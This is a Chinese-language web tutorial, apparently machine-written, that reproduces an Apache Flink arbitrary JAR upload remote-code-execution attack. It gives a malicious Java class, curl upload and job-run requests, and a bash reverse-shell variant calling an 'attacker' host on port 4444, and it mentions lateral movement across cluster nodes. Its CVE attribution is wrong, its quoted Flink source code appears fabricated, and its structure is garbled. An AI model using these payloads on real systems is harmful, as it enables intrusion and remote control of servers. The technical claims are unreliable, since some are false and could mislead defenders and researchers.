您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# Apache Flink任意Jar包上传致RCE漏洞复现的示例分析
## 漏洞背景
Apache Flink作为开源的流处理框架,其Web Dashboard提供了作业提交和管理功能。在特定版本中(主要影响1.9.x-1.11.x),由于未对上传的Jar包进行充分安全校验,攻击者可通过构造恶意Jar包实现远程代码执行(RCE)。该漏洞编号为CVE-2020-17519,CVSS评分高达9.8。
## 漏洞原理
### 核心问题
1. **未授权上传**:默认配置下Dashboard无需认证
2. **路径穿越**:上传文件名未严格过滤
3. **动态加载**:通过`/jars/upload`接口上传的Jar包可被直接执行
### 攻击链条
恶意Jar上传 -> 路径穿越存储 -> 作业提交 -> 类加载执行 -> RCE
## 环境搭建
### 测试环境
```bash
# 使用vulhub快速搭建
docker-compose -f flink/1.11.2/CVE-2020-17519.yml up
// EvilObject.java
public class EvilObject {
static {
try {
Runtime.getRuntime().exec("touch /tmp/flink_rce_success");
} catch (Exception e) { e.printStackTrace(); }
}
}
编译打包:
javac EvilObject.java
jar cvf evil.jar EvilObject.class
curl -X POST -F "jarfile=@evil.jar" http://target:8081/jars/upload
成功响应示例:
{
"filename": "/tmp/flink-jars-49a1b5a0-1a2b-4c3d-8e9f-0a1b2c3d4e5f/evil.jar",
"status": "success"
}
通过REST API提交作业:
POST /jars/evil.jar/run HTTP/1.1
Host: target:8081
...
{"entryClass":"EvilObject"}
docker exec flink ls /tmp | grep flink_rce_success
org.apache.flink.runtime.rest.handler.job.JarUploadHandler
处理上传请求时:
public class JarUploadHandler extends AbstractRestHandler {
protected File handleFileUpload(FileUpload file) {
// 未校验文件名和内容
String fileName = file.getFilename();
File dest = new File(uploadDir, fileName);
file.renameTo(dest);
}
}
JarRunHandler
加载用户指定类URLClassLoader
加载远程Jar# conf/flink-conf.yaml
web.upload.dir: /dev/null # 禁用上传
security.ssl.enabled: true # 启用HTTPS
修改恶意类为:
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/attacker/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"});
利用Flink的集群特性,可通过恶意Jar在TaskManager节点横向移动。
该漏洞展示了大数据组件在便利性和安全性之间的平衡难题。管理员应: - 及时更新到Flink 1.11.3+版本 - 遵循最小权限原则 - 定期进行安全审计
注:本文仅用于安全研究,请勿用于非法用途。测试前务必获得书面授权。 “`
该文档包含: 1. 漏洞技术原理说明 2. 完整复现流程(含代码片段) 3. 防御方案和修复建议 4. 扩展攻击场景分析 5. 结构化排版(标题/代码块/列表) 实际写作时可补充更多技术细节或截图证据。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。